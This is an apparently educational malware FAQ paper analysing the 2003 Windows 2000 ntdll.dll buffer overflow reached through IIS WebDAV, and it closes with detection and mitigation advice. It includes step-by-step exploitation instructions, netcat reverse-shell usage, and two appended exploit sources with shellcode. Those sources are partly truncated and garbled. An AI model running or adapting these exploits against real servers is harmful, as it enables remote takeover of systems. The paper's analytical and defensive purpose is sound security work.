Final Week to Get a MacBook Air or Surface Pro 7 with Online Training - Best Offers of the Year!

Malware FAQ

Malware FAQ: WebDAV exploit

Author: Lasse Overlier

Exploit details

The "Windows 2000 ntdll.dll buffer overflow through WebDAV" was reported through several incident sites in mid-March 2003. The CERT Coordination Center has identified this as Advisory CA-2003-09 and can be found at The Common Vulnerability and Exposures identification is CAN-2003-0109 and it can be found at

The operating systems affected are:

  • Any Microsoft Windows 2000
  • Any Microsoft Windows 2000 with Service Pack 1
  • Any Microsoft Windows 2000 with Service Pack 2
  • Any Microsoft Windows 2000 with Service Pack 3
when the computers are running Microsoft Internet Information Server 5.0. Microsoft Windows 2000 Professional does not install IIS as default, but the other variants do install IIS unless explicitly told not to. And since WebDAV as default always is enabled in the IIS web server this makes the computers vulnerable after a default installation. This is especially critical for servers not intended for use as web servers but needed for other types of services. These will have a security hole installed without need of the vulnerable service!

The exploit makes a too large request through the WebDAV protocol and triggers a buffer overflow in the Windows System Core DLL NTDLL.DLL and will allow execution of arbitrary code submitted to the, often remote located, Windows 2000 computer. Since the exploit lies in the Windows System Core this exploit is assumed to be only one of many possible attack vectors to trigger this buffer overflow vulnerability. Both known exploits found on the network trigger the exploit through the new HTTP methods introduced in WebDAV.


I have found two versions of exploit code submitted on the Internet. [WB] shows a variant created by that puts the exploit code in the request method of the HTTP request where the vulnerability is located. This exploit makes the attacked server try to connect to a remote computer on a attacker selected port.

The "proof of concept", which actually is nothing else than a working attack, found in [RS] uses a slightly different method. The exploit code is here submitted in the body of the WebDAV request, and the buffer overflow exploit only contains the code to jump to the shell code. The submitted exploit code tries to set up a shell listening on incoming traffic on a selected port.

Both of the above exploits use the SEARCH method to access the vulnerable buffer.

The exploit found in [WD] uses a Perl script to execute exploit code on the attacked server. The script tries to automatically run through a sequence of return addresses and see if any on these works on the attacked server. This exploit did not work on the test network, and is according to the author only tested against the Korean language edition of Windows 2000 Server. This exploit is easy to adjust and therefore test multiple request methods besides the LOCK method originally set up.

Protocol Description

Since WebDAV is an extension of the HTTP protocol, it can be viewed as a query-response protocol over TCP/IP as shown in Figure 2. WebDAV introduces some new headers and some new methods to the HTTP protocol.

A WebDAV method is given in the first line of the query and header fields are given in the following lines of the header. The header is separated from the body by an empty line (double CRLF) as shown in the example below simplified from the RFC.


MOVE /container/ HTTP/1.1
Content-type: text/html
Overwrite: F
Content-Length: xxxx

< ?xml version="1.0" ? >



HTTP/1.1 207 Multi-Status
Content-type: text/xml
Content-length: xxx

< ?xml version="1.0" ? >
  HTTP/1.1 423 Locked

In the example the text marked with red are WebDAV elements not a part of plain HTTP communication. The format of the XML body in the Request and Response fields is thoroughly specified in the RFC and since the vulnerability does not depend on the body sent in the request this will not be a part of the paper. A summary of the essential protocol elements in WebDAV is listed here.

New HTTP header parameters introduced are DAV, Depth, Destination, If, Lock-Token, Overwrite, Timeout and for HTTP response the additions are Status-URI together with some new status response code extensions.

Extensions to HTTP methods are listed here with a short description. The methods normally used in HTTP are discussed when they are referring to resources or collections.


Retrieve the selected properties in the resource identified in the URI. An example request can be like:

PROPFIND /container/ HTTP/1.1
Content-type: text/html
Content-Length: xxxx

< ?xml version="1.0" ? >


Which will request all available properties connected to /container/. The selection of properties is done in the XML body entity.

The requested properties are usually information about files like author, creation date, content length, etc. PROPFIND is also used to find files located at the server.


Process information specified in the request body to set and/or remove properties identified by the URI. Used to simply create, change or delete specific properties concerning a resource.


MKCOL is used to create a new collection specified by the URI.


The semantics of GET and HEAD are the same as in HTTP, but when used with a collection it may return the header (and content in GET) of an "index.html" resource within that collection.


The semantics with POST are unmodified when applied to a collection.


Delete the resource or collection of resources defined by the URI. The Depth of a delete request of a collection is always set to "infinity" which means all resources located below this collection.


The put of an existing resource replaces the content retrieved with GET. When applied with creation of collections the use of MKCOL is required to be used. PUT also requires all ancestors to exist before creating the resource.


On a resource the COPY method creates a duplicate of the URI. The HTTP header Destination specifies the target position of the COPY method. For a collection the full hierarchy will be traversed and copied when Depth is set to "infinity", or only the collection and its properties but not the resources inside the collection, are to be copied (depth set to 0). If the target resource exists the header may imply an Overwrite value to set default action.


MOVE is equivalent to COPY with the URI deleted after the request is processed.


Add and removes locks on resources by using XML in the entity body. The HTTP header Lock-Token is used to identify the lock after creation (in response headers) and during removal (in request headers). Clients may also apply Timeout headers to their lock requests.


The SEARCH extension is not a part of the RFCs for WebDAV. SEARCH on IIS is connected to the setup of Microsoft Indexing Server for searching in content inside the collections. The use of SEARCH triggers the same vulnerabilities as the other methods listed above

The WebDAV extension given in RFC3253 and later versions to arrive, adds versioning, searching, etc. and do not have any wide use or large implementations today and will not be discussed in this document.

How the exploit works

The exploit takes advantage of a buffer overflow condition in the Microsoft Windows 2000 kernel module named NTDLL.DLL. The method used to reach the vulnerable function is in this exploit located in the WebDAV implementation of Microsoft Internet Information Server 5.0.

First there will be an explanation of a general buffer overflow exploit and how they work, followed by an explanation of how WebDAV contributes to trigger this exploit in the use of NTDLL.DLL.

Buffer overflow

In the execution of a program the stack is used for storing data when the program is calling functions. The function parameters, local variables and the return address to the called function are stored on the stack together with other values. A buffer overflow condition exists if the length of the values stored into the local variables is too long for the space located for the variable. This is shown in Figure 3.

figure 3

Part one in the figure shows the construction of an attack buffer that is larger than the allocated space. The result will be that the attack buffer will overwrite the values put on the stack before the vulnerable variable.

Part two shows the initialization of the attack buffer. The attack buffer is filled with three different parts of data:

  1. NOP values in the beginning to lead the execution forward to the exploit code. NOP values are machine code instructions that do nothing but lead the execution on to the next command. As a result of this, the target area of the jump in execution made by overwriting the return address will increase significantly.
  2. The exploit code. What the attacker want to achieve on the attacked computer. This is often execution of a backdoor program or other more directly malicious code.
  3. Multiple "new return address" is added after the end of the original buffer size. The "new return address" is a guess (or an experienced hit) of where the exploit code or the NOPs are located in memory. By repeating this address in a magnitude sure to overwrite the return address on the stack the result will be that the code execution will jump to the "new return address" when the execution is about to leave the function.

  4. The "multiple new return addresses" must occur where there is the highest probability of overwriting the original return address. This is (most often) right after the end of the original buffer.

NTDLL.DLL used by WebDAV

The description of the buffer overflow vulnerability in Windows 2000 core module NTDLL.DLL is based on an article by David Litchfield [LI2003]. Here the WebDAV based exploit code released is shown to be just one of many possible vectors that may be used to trigger the actual vulnerability in the Windows 2000 operating system.

The actual exploit is triggered through a function called GetFileAttributesExW that calls a function in NTDLL.DLL named RtlDosPathNameToNtPathName_U. This function is the real location of the vulnerability in the use of the string length parameter sent to the function. This integer is defined as an unsigned int and will therefore only support a string length of 0-65535 bytes long. When a string sent to this function is larger than this, it will cause a wrap in the integer and a buffer this long will have a wrong length value submitted to the function. This way it will trigger a buffer overflow in the module. Since the source code of NTDLL.DLL is not available (at least not to me), there will not be a deeper dig in how this is implemented. But we can assume that the length is not used correctly when for instance copying the string and therefore triggers the buffer overflow vulnerability. There are listed 28 functions in addition to GetFileAttributesExW and 26 other DLL files in the Windows 2000 system that uses the same vulnerable function RtlDosPathNameToNtPathName_U

The exploit code is wrapped with NOPs and jump addresses in the correct locations, and submitted to the web server through a valid WebDAV request. The overflow in RtlDosPathNameToNtPathName_U causes the new submitted return address to be activated and the possibility of reaching the exploit code is only a matter of time.

The code will in the exploit run in the Local System security context of the Windows 2000 operating system and have full access to all resources on the computer.

The reason for the location of the return addresses in the beginning of the attack buffer is due to the wrap around of the 16-bit length integer. Without having the source code I assume that the overwritten buffer will probably be of size "length(attack buffer) - 65536". The return address to overwrite will probably be located in the first hundred bytes or so after the wrapped size which makes the return address to be located in the beginning of the large attack buffer.

Diagram and how to use the exploit

The exploit scenario is shown in Figure 4. figure 4

The figure shows an attacker on the outside of the firewall solution of the company. The attacker will by using the exploit get access to the web server on the internal side of an firewall and may be able to compromise more computers with this as a new base of attacks.

The attacker first compiles and makes an executable of the exploit code given in [WB]. Then the attacker starts a network listener by using "netcat -l -p port". The port number used in the test was a random picked 2000. The attacker then runs the exploit with different offsets to the exploit code as one of the parameters to the exploit program. The running of this code is shown in Figure 5. The multiple tests of getting the exploit to work can be seen from the top of the window. The last call in the window can be seen not to exit and represents a successful spawn of a shell on the web server.

figure 5

The exploit program parameters are "./wb-linux server listener port pad". Where server is the attacked and hopefully vulnerable server, listener is the computer the attacker has set up a network listener on port number port. The pad is a programmer defined offset for testing multiple return addresses inside the compiled exploit program.

This program first connects to the remote server over the HTTP/WebDAV service port. Then the exploit program tries to send the attack buffer built as correctly as possible from the given listener, port and pad value. Then one of the following events will happen:

  • The attack was successful and the command prompt on the server appears in the listener window as shown in Figure 6
  • The attack was not successful and the web server will automatically do a restart when it crashes
  • The attack makes the service disappear and the web server does not restart. This makes the exploit more like a DoS attack stopping the service completely.

In another window shown in Figure 6, the result appears after a successful run of the exploit. The first line show the netcat command used to listen, "netcat -l -p 2000", for listening on port 2000. The process then waits for another computer to connect over the network. When the compromised computer connects to this port it sets up a Windows cmd shell as shown in the figure.

figure 6

The attacker then has full access to all programs on the compromised computer with Local System security context. There is nothing stopping the attacker from manipulating the logs and making the service operative again after for instance a backdoor has been installed.

The exploit released in [RS] works in a similar way. First you have to compile the code and produce the executable. The exploit is then run against the remote vulnerable server and the attacker then has to see if the attack was successful by trying to connect to port 31337 on the server. If not successful the attacker must try again with other addresses in the exploit and see if the port is opened this time.

The exploit in [WD] did not work "out-of-the-box" but the concept looks like it should be OK. The reason may be as explained earlier that the server in the test network shown in Figure 7 did not run Windows 2000 Server with Korean language edition.

Manual run of exploit

To manually run the exploit all you need to do is get a hold of some shell code that is adapted to your own needs. The shell codes used in the two variants discussed in this paper will probably be OK for most attackers with login ambitions on the remote server.

Build a buffer in your favorite programming language where you have the possibility to connect to another computer over a TCP/IP network. Build the buffer to consist of approximately 66000 characters and fill it with exploit code of your choice, NOPs and return addresses.

Build the request buffer by using one of the vulnerable methods, for instance something like:

PROPFIND /attackbuffer HTTP/1.1
Content-type: text/html
Content-Length: xxxx

< ?xml version="1.0" ? >


Do a "telnet 80" and paste the request buffer into the telnet program communication. If successful the exploit code will execute on the server and the attack have been successful.

Signature of the attack

A test network was set up for testing the exploit released in [WB]. A figure of this test network is shown in Figure 7.

figure 7

The vulnerable Microsoft Windows 2000 Server with service pack 3 was installed on one computer. Nothing but installing the service pack 3 was done on top of the default installation of the Widows 2000 Server operating system.

The attacker was located on a laptop running Debian Linux 3.0. The exploit code tested in this description was a modified version of [WB] just modified to compile on Linux. The source code after the patch is given in Appendix A, but consist mainly of commenting out some network socket code for Windows.

The logger computer is set up just for viewing the traffic on the network and was running Debian Linux 3.0. The program etherreal was used for logging and displaying traffic on the network in a more readable form.

When the attack is launched there is generated a normal TCP connection to the remote server and the HTTP request is then sent. The HTTP request used in the [WB] attack uses the SEARCH method introduced by Microsoft to search in the WebDAV collections. The second parameter to this first line in the request is more than 65536 bytes long to trigger the buffer overflow. This request is shown in Figure 8.

The parameter of the SEARCH method, the exploit buffer without terminating zero values, is split into multiple continuation packets since it is too long for being submitted in one packet as shown in Figure 8. The buffer contains a selection of return addresses, NOP values and the exploit code somewhere at the end. The exploit code is actually located after 64000 characters, a value that is probably a randomly picked number by the programmer. As a result of this the exploit code is also followed by unnecessary NOP values before the request is being terminated with the mandatory fields and parameters at the end to make a valid WebDAV request. By "valid" it means that the syntax is following the RFC2518 with the exception of letting the URI contain non-allowed characters and a unrestricted length.

The other WebDAV methods will also trigger this same exploitable bug. Whether using PROPFIND, SEARCH, MKCOL or any other Microsoft IIS extension method that takes a URI as parameter looks all to be vulnerable. The header fields in HTTP or WebDAV requests are not this long so any traffic found with this information should be logged and examined. But on the other hand the body of the request may often be long so the IDS should be able to separate this.

figure 8

After the attack has succeeded the server makes a connection to the attackers listening computer as shown in line number 83 of Figure 9.

The connection shown in the figure also send over the prompt with default path used by the Windows cmd program when a shell is ready for commands, "C:\WINNT\system32\>". The data of this packet (number 92) is highlighted in the figure.

figure 9

The system then has access to all programs installed on the computer. The exploit may then be misused by fetching programs with tftp or using other locally installed or transferred programs.

The most common signatures of buffer overflow attacks are network traffic with lots of NOP values and the common shell codes. These signatures have existed for a long time in most IDS systems.

Other signs of compromise that may be found are the errors in the Windows Event logger shown in Figure 10. The four identified log entries occurred after testing several attempts of connecting to the server with the exploit and may be an indication of an attack attempt. The log messages about automatic restart and unexpected termination must be taken as a suspicious sign of an exploited or attacked server. The servers may have other problems due to other installed services and server programs, but if these logs occur it is more likely to be an indication on that your server may be under attack.

figure 10

In Figure 11 we can see the strange restarts found in the server log when the exploit has been tested. Most of the indications of an attack are the multiple restarts and the halts in the service that occur during the attack.

The log entries have varied on the different test installations, but sometimes the log shows the full SEARCH method that failed with the failure code, and sometimes it shows the lines shown in Figure 11.

figure 11

How to protect against it

Web server needed

The first thing to do is to see if Microsoft Internet Information Server needs to be run on the computer. If not, remove the entire installation.

WebDAV needed

If you do need to have IIS running you should examine if WebDAV is needed and used. If the need for WebDAV does not exist, WebDAV may be switched off by entering a value in the Windows 2000 Registry. The value is located at HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W3SVC\Parameters, is called DisableWebDAV and must contain the type REG_DWORD with the value '1' (true).


Intrusion Detection Systems (IDS) can monitor the network traffic and react on certain patterns that identifies ongoing attacks. IDS may be locally installed software (host based IDS) or network based IDS that is a system that monitor all traffic going through on the network. Patterns for IDS systems for identifying these attacks will probably exist by next update, but the patterns of new attacks are not known until they are found on the network. This makes pattern based IDS useful for known attacks only.

Looking for long entries in logs from the servers is also an important element of an IDS system.

Network based IDS systems will only identify an ongoing attack and not prevent it. Host based IDS and/or firewalls may also prevent the attacks by identifying possible attack attempts.

Port filtering

Always use a firewall in front of your web server! The firewall must at least be able to do the following:

Do not allow outgoing connections from the server to the Internet. Normally a web server have no reason to make these kind of connections, but if such a reason exist, make sure the server is restricted to connect to only the supplier of the service on the correct port.

Do not allow connections to the server on other ports than the port needed for the service (normally port 80). There should be no holes in the port filtering to allow for remote connections from undefined places on the Internet. Port connections from specified places may be enough for spoofed IP packets to take advantage of the vulnerability and should also be avoided all together.


Unnecessary to mention, is the follow up of all patches released from the vendor and applying these when they are available. This is not automated or organized in all organizations, but hopefully it will be soon.

DMZ for the web server

If the web server is located on a separate DMZ network the company and this network have no access to the internal network the damage is contained to this computer only. But if the company places the web server on their internal network for "convenience", they are more vulnerable than they could ever imagine. There will be nothing stopping the attacker from examining and attacking all over the internal network and there will probably be other computers compromised within a short period of time.

Source code

The source code for [WB] can be gotten from the URL, but is also given in Appendix A

The source code can be divided into initialization, connection to the server, and execution of exploit code.


The buffers are built in the main() function. The request buffer is filled with the presumed triggering content of the request as explained in Manual run of the exploit. The command line parameters are checked as part of building up and initializing the buffer, the exploit code and other variables.


Then the connection to the server is then set up through the normal use of TCP/IP sockets.


The request buffer is sent to the server through the socket connection. The listener set up in advance by using netcat will display a Windows cmd shell if the exploit was successful. This happens in the exploit code and I have not disassembled the exploit code to verify what is implemented.

Source code for the other referenced exploits can be found at [WD]: and [RS]:

Additional information

The additional links for information about the exploit can be found in the References section of this paper. Source codes are also found here.

The best paper found about the actual vulnerability is "New Attack Vectors and a Vulnerability Dissection of MS03-007" by David Litchfield at NGSSoftware [LI2003] located at

The vulnerability analysis at Internet Storm Center found at is a good summary of the problems and it is a good start for references to patches and more information for digging deeper into the exploit.

E. James Whitehead and Yaron Y. Goland have produced another good paper on the background of WebDAV and the intended purpose of the protocol. It may be downloaded from

And the Microsoft security bulletin that announced the vulnerability to the public can be found at

Appendix A Modified code of wb.c

/*     [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]     */
/* --------------------------------------------------------------- */
/*     this is the exploit for ntdll.dll through WebDAV.           */
/*     run a netcat ex: nc -L -vv -p 666                           */
/*     wb your_ip 666 0                                 */
/*     the shellcode is a reverse remote shell                     */
/*     you need to pad a bit.. the best way I think is launching   */
/*     the exploit with pad = 0 and after that, the server will be */
/*     down for a couple of seconds, now retry with pad at 1       */
/*     and so on..pad 2.. pad 3.. if you haven't the shell after   */
/*     something like pad at 10 I think you better to restart from */
/*     pad at 0. On my local IIS the pad was at 1 (0x00110011) but */
/*     on all the others servers it was at 2,3,4, etc..sometimes   */
/*     you can have the force with you, and get the shell in 1 try */
/*     sometimes you need to pad more than 10 times ;)             */
/*     the shellcode was coded by myself, it is SEH + ScanMem to   */
/*     find the famous offsets (GetProcAddress)..                  */
/*     I know I code like a pig, my english sucks, and my tech too */
/*     it is my first exploit..and my first shellcode..sorry :P    */
/*     if you have comments feel free to mail me at:               */
/*     mailto:                               */
/*     or visit us at . You can speak with us   */
/*     at IRC undernet channel #coromputer                         */
/*     ok now the greetz:                                          */
/*     [El0d1e] to help me find some information about the bug :)  */
/*     tuck_ to support me ;)                                      */
/*     and all my friends in coromputer crew! hein les poulets! =) */
/*                                                                 */
/*     Tested by Rafael [RaFa] Nunez      */
/*                                                                 */
/*     (take off the WSAStartup, change the closesocket, change    */
/*       headers and it will run on linux boxes ;pPpPpP ).         */
/*                                                                 */


//#pragma comment (lib,"ws2_32")

char shellc0de[] =
"cmd" // don't change anything..
"\x00\x00\xe7\x77" // offsets of kernel32.dll for some win ver..
"\x00\x88\x3e\x04" // win2k3
"\x00\x00\xf7\xbf" // win9x =P

int test_host(char *host)
      char search[100]="";
      int sock;
      struct hostent *heh;
      struct sockaddr_in hmm;
      char buf[100] ="";

      if(strlen(host)>60) {
            printf("error: victim host too long.\r\n");
            return 1;

  if ((heh = gethostbyname(host))==0){
    printf("error: can't resolve '%s'",host);
    return 1;

  sprintf(search,"SEARCH / HTTP/1.1\r\nHost: %s\r\n\r\n",host);
  hmm.sin_port = htons(80);
  hmm.sin_family = AF_INET;
  hmm.sin_addr = *((struct in_addr *)heh->h_addr);

  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1){
    printf("error: can't create socket");
    return 1;

  printf("Checking WebDav on '%s' ... ",host);

  if ((connect(sock, (struct sockaddr *) &hmm, sizeof(hmm))) == -1){
    return 1;
        return 0;
      printf("NOT FOUND\r\n");
      return 1;

void help(char *program)
      printf("syntax: %s    [padding]\r\n",program);

void banner(void)
      printf("\r\n\t  [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]\r\n");
      printf("\t\ && undernet #coromputer\r\n\r\n");

void main(int argc, char *argv[])
  //      WSADATA wsaData;
      unsigned short port=0;
      char *port_to_shell="", *ip1="", data[50]="";
      unsigned int i,j;
      unsigned int ip = 0 ;
      int s, PAD=0x10;
      struct hostent *he;
      struct sockaddr_in crpt;
      char buffer[65536] ="";
      char request[80000];    // huuuh, what a mess! :)
      char content[] =
           "< ?xml version=\"1.0\" ? >\r\n"
           "Select \"DAV:displayname\" from scope()\r\n"

      if((argc<4)||(argc>5)) {

      //if(WSAStartup(0x0101,&wsaData)!=0) {
      //printf("error starting winsock..");



printf("FOUND\r\nexploiting ntdll.dll through WebDav [ret: 0x00%02x00%02x]\r\n",PAD,PAD);

      ip = inet_addr(argv[2]); ip1 = (char*)&ip;

shellc0de[448]=ip1[0]; shellc0de[449]=ip1[1]; shellc0de[450]=ip1[2]; shellc0de[451]=ip1[3];

      port = htons(atoi(argv[3]));
      port_to_shell = (char *) &port;

// we xor the shellcode [xored by 0x95 to avoid bad chars]
/*      _asm {
   lea eax, shellc0de
   add eax, 0x34
   xor ecx, ecx
   mov cx, 0x1b0
   xor byte ptr[eax], 0x95
   inc eax
   loop wah
/* inserted this approximated c-code instead
   sorry kralor I don't like asm-lines, but it still works... */
      for(i=52; ih_addr);

  if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
    printf("error: can't create socket");

  printf("Connecting... ");

  if ((connect(s, (struct sockaddr *) &crpt, sizeof(crpt))) == -1){
// No Operation.

Appendix B Source code of rs_iis.c

/* IIS 5.0 WebDAV -Proof of concept- */
/* [ Bug: CAN-2003-0109 ]            */
/* By Roman Medina-Heigl Hernandez   */
/* aka RoMaNSoFt  */
/* Madrid, 23.Mar.2003               */
/* ================================= */
/* Public release. Version 1.        */
/* --------------------------------- */
/*   -= =-   */

/* ========================================================================
 * --[ READ ME ]
 *   This exploit is mainly a proof of concept of the recently discovered ntdll.dll bug (which may be
 * exploited in many other programs, not necessarily IIS). Practical exploitation is not as easy as
 * expected due to difficult RET guessing mixed with possible IIS crashes (which makes RET brute
 * forcing a tedious work). The shellcode included here will bind a cmd.exe shell to a given port
 * at the victim machine so it could be problematic if that machine is protected behind a firewall.
 * For all these reasons, the scope of this code is limited and mainly intended for educational
 * purposes. I am not responsible of possible damages created by the use of this exploit code.
 *   The program sends a HTTP request like this:
 * SEARCH /[nop] [ret][ret][ret] ... [ret] [nop][nop][nop][nop][nop] ... [nop] [jmpcode] HTTP/1.1
 * {HTTP headers here}
 * {HTTP body with webDAV content}
 * 0x01 [shellcode]
 *   IIS converts the first ascii string ([nop]...[jmpcode]) to Unicode using UTF-16 encoding (for
 * instance, 0x41 becomes 0x41 0x00, i.e. an extra 0x00 byte is added) and it is the resultant
 * Unicode string the one producing the overflow. So at first glance, we cannot include code here
 * (more on this later) because it would get corrupted by 0x00 (and other) inserted bytes. Not at
 * least using the common method. Another problem that we will have to live with is our RET value
 * being padded with null bytes, so if we use 0xabcd in our string, the real RET value (i.e. the
 * one EIP will be overwritten with) would be 0x00ab00cd. This is an important restriction.
 *   We have two alternatives:
 * 1) The easy one: find any occurrences of our ascii string (i.e. before it gets converted to
 *    the Unicode form) in process memory. Problem: normally we should find it by debugging the
 *    vulnerable application and then hardcode the found address (which will be the RET address)
 *    in our exploit code. This RET address is variable, even for the same version of OS and app
 *    (I mean, different instances of the same application in the same machine could make the
 *    guessed RET address invalid at different moments). Now add the restriction of RET value
 *    padded with null-bytes. Anyway, the main advantage of this method is that we will not have
 *    to deal with 0x00-padded shellcode.
 * 2) The not so-easy one: you could insert an encoded shellcode in such a way that when the app
 *    expands the ascii string (with the encoded shellcode) to Unicode, a valid shellcode is
 *    automagically placed into memory. Please, refer to Chris Anley's "venetian exploit" paper
 *    to read more about this. Dave Aitel also has a good paper about this technique and indeed
 *    he released code written in Python to encode shellcode (I'm wondering if he will release a
 *    working tool for that purpose, since the actual code was released as part of a commercial
 *    product, so it cannot be run without buying the whole product, despite the module itself
 *    being free!). Problem: it is not so easy as the first method ;-) Advantage: when the over-
 *    flow happens, some registers may point to our Unicoded string (where our Unicoded-shellcode
 *    lives in), so we don't need to guess the address where shellcode will be placed and the
 *    chance of a successful exploitation is greatly improved. For instance, in this case, when
 *    IIS is overflowed, ECX register points to the Unicode string. The idea is then fill in
 *    RET value with the fixed address of code like "call %ecx". This code may be contained in
 *    any previosly-loaded library, for example).
 *   Well, guess it... yes... I chose the easy method :-) Perhaps I will rewrite the exploit
 * using method 2, but I cannot promise that.
 *   Let's see another problem of the method 1 (which I have used). Not all Unicode conversions
 * result in a 0x00 byte being added. This is true for ascii characters lower or equal to 0x7f
 * (except for some few special characters, I'm not sure). But our shellcode will have bytes
 * greater than 0x7f value. So we don't know the exact length of the Unicoded-string containing
 * our shellcode (some ascii chars will expand to more than 2 bytes, I think). As a result,
 * sometimes the exploit may not work, because no exact length is matched. For instance, if you
 * carry out experiments on this issue, you could see that IIS crashes (overflow occurs) when
 * entering a query like SEARCH /AAAA...AAA HTTP/1.1, with 65535 A's. Same happens with 65536.
 * But with different values seems NOT to work. So matching the exact length is important here!
 *   What I have done, it is to include a little "jumpcode" instead of the shellcode itself. The
 * jumpcode is placed into the "critical" place and has a fixed length, so our string has always
 * a fixed length, too. The "variable" part (the shellcode) is placed at the end of the HTTP
 * request (so you can insert your own shellcode and remove the one I'm using here, with no apparent
 * problem). To be precise, the end of the request will be: 0x01 [shellcode]. The 0x01 byte marks
 * the beginning of the shellcode and it is used by the jumpcode to find the address where shell-
 * code begins and jump into it. It is not possible to hardcode a relative jump, because HTTP
 * headers have a variable length (think about the "Host:" header and you will understand what
 * I'm saying). Well, really, the exploit could have calculated the relative jump itself (other
 * problems arise like null-bytes possibly contained in the offset field) but I have prefered to
 * use the 0x01 trick. It's my exploit, it's my choice :-)
 *   After launching the exploit, several things may happen:
 * - the exploit is successful. You can connect to the bound port of victim machine and get a
 *   shell. Great. Remember that when you issue an "exit" command in the shell prompt, the pro-
 *   cess will be terminated. This implies that IIS could die.
 * - exploit returns a "server not vulnerable" response. Really, the server may not be vulnerable
 *   or perhaps the SEARCH method used by the exploit is not permitted (the bug can still be
 *   exploited via GET, probably) or webDAV is disabled at all.
 * - exploit did not get success (which is not strange, since it is not easy to guess RET value)
 *   but the server is vulnerable. IIS will probably not survive: a "net start w3svc" could be
 *   needed in the victim machine, in order to restart the WWW service.
 *   The following log shows a correct exploitation:
 * roman@goliat:~/iis5webdav> gcc -o rs_iis rs_iis.c
 * roman@goliat:~/iis5webdav> ./rs_iis roman       
 * [*] Resolving hostname ...
 * [*] Attacking port 80 at roman (EIP = 0x00480004)...
 * [*] Now open another console/shell and try to connect (telnet) to victim port 31337...
 * roman@goliat:~/iis5webdav> telnet roman 31337
 * Trying
 * Connected to roman.
 * Escape character is '^]'.
 * Microsoft Windows 2000 [Versión 5.00.2195]
 * (C) Copyright 1985-2000 Microsoft Corp.
 * C:\WINNT\system32>
 *   I am not going to show logs for the faulty cases. I'm pretty sure you will see them very
 * soon :-) But yes, the exploit works, perhaps a little fine-tunning may be required, though.
 * So please, do NOT contact me telling that the exploit doesn't work or things like that. It
 * worked for me and it will work for you, if you're not a script-kiddie. Try to attach to the
 * IIS process (inetinfo.exe) with the help of a debugger (OllyDbg is my favourite) on the
 * victim machine and then launch the exploit against it. Debugger will break when the first
 * exception is produced. Now place a breakpoint in 0x00ab00cd (being 0xabcd the not-unicoded
 * RET value) and resume execution until you reach that point. Finally, it's time to search
 * the memory looking for our shellcode. It is nearly impossible (very low chance) that our
 * shellcode is found at any 0x00**00**-form address (needed to bypass the RET restriction
 * imposed by Unicode conversion) but no problem: you have a lot of NOPs before the shellcode
 * where you could point to. If EIP is overwritten with the address of such a NOP, program flow
 * will finish reaching our shellcode. Note also that among the two bytes of RET that we have some
 * kind of control, the more important is the first one, i.e. the more significant. In other
 * words, interesting RET values to try are: 0x0104, 0x0204, 0x0304, 0x0404, 0x0504, ...,
 * and so on, till 0xff04. As you may have noticed, the last byte (0x04) is never changed because
 * its weight is minimal (256 between aprox. 65000 NOP's is not appreciable).
 *   I will be happy to receive ideas, comments and feedback about issues related to this exploit
 * and the exploited vulnerability itself. Drop me an e-mail. No script-kiddies, please.
 *   My best wishes,
 * --Roman
 * ================================================================= --[ EOT ]-- ====================


// Change to fit your need
#define  RET             0x4804          // EIP = 0x00480004
#define  LOADLIBRARYA    0x0100107c
#define  GETPROCADDRESS  0x01001034

// Don't change this
#define  PORT_OFFSET     1052
#define  LOADL_OFFSET    798
#define  GETPROC_OFFSET  815
#define  NOP             0x90
#define  MAXBUF          100000

 * LoadLibraryA IT Address   := 0100107C
 * GetProcAddress IT Address := 01001034

unsigned char shellcode[] =            // Deepzone shellcode

unsigned char jumpcode[] = "\x8b\xf9\x32\xc0\xfe\xc0\xf2\xae\xff\xe7";
/* mov edi, ecx
 * xor al, al
 * inc al
 * repnz scasb
 * jmp edi

char body[] = "< ?xml version=\"1.0\"? >\r\n\r\n" \
  "\r\nSelect \"DAV:displayname\" from scope()\r\n\r\n\r\n";

/* Our code starts here */
int main (int argc, char **argv) 
  unsigned long ret;
  unsigned short port;
  int tport, bport, s, i, j, r, rt=0;
  struct hostent *h;
  struct sockaddr_in dst;
  char buffer[MAXBUF];

  if (argc < 2 || argc > 5) 
	  printf("IIS 5.0 WebDAV Exploit by RoMaNSoFt . 23/03/2003\nUsage: %s
  [target port] [bind port] [ret]\nE.g 1: %s\nE.g 2: %s 80 31337 %#.4x\n", argv[0], argv[0], argv[0], RET);
  // Default target port = 80
  if (argc > 2)
	tport = atoi(argv[2]);
	tport = 80;

  // Default bind port = 31337
  if (argc > 3)
	bport = atoi(argv[3]);
	bport = 31337;

  // Default ret value = RET
  if (argc > 4)
	ret = strtoul(argv[4], NULL, 16);
	ret = RET;

  if ( ret > 0xffff || (ret & 0xff) == 0 || (ret & 0xff00) == 0 ) 
	  fprintf(stderr, "RET value must be in 0x0000-0xffff range and it may not contain null-bytes\nAborted!\n");
  // Shellcode patching
  port = htons(bport);
  port ^= 0x9999;
  if ( ((port & 0xff) == 0) || ((port & 0xff00) == 0) ) 
	  fprintf(stderr, "Binding-port contains null-byte. Use another port.\nAborted!\n");
  *(unsigned short *)&shellcode[PORT_OFFSET] = port;
  *(unsigned long *)&shellcode[LOADL_OFFSET] = LOADLIBRARYA ^ 0x99999999;
  *(unsigned long *)&shellcode[GETPROC_OFFSET] = GETPROCADDRESS ^ 0x99999999;
  // If the last two items contain any null-bytes, exploit will fail.
  // WARNING: this check is not performed here. Be careful and check it for yourself!
  // Resolve hostname
  printf("[*] Resolving hostname ...\n");
  if ((h = gethostbyname(argv[1])) == NULL)
	  fprintf(stderr, "%s: unknown hostname\n", argv[1]);
  bcopy(h->h_addr, &dst.sin_addr, h->h_length);
  dst.sin_family = AF_INET;
  dst.sin_port = htons(tport);
  // Socket creation
  if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) 
	  perror("Failed to create socket");
  // Connection
  if (connect(s, (struct sockaddr *)&dst, sizeof(dst)) == -1)
	  perror("Failed to connect");
  // Build malicious string...
  printf("[*] Attacking port %i at %s (EIP = %#.4x%.4x)...\n", tport, argv[1], ((ret >> 8) & 0xff), ret & 0xff); 

  bzero(buffer, MAXBUF);
  strcpy(buffer, "SEARCH /");
  i = strlen(buffer);
  buffer[i] = NOP;         // Align for RET overwrite

  // Normally, EIP will be overwritten with buffer[8+2087] but I prefer to fill some more bytes ;-) 
  for (j=i+1; j < i+2150; j+=2)
	*(unsigned short *)&buffer[j] = (unsigned short)ret;

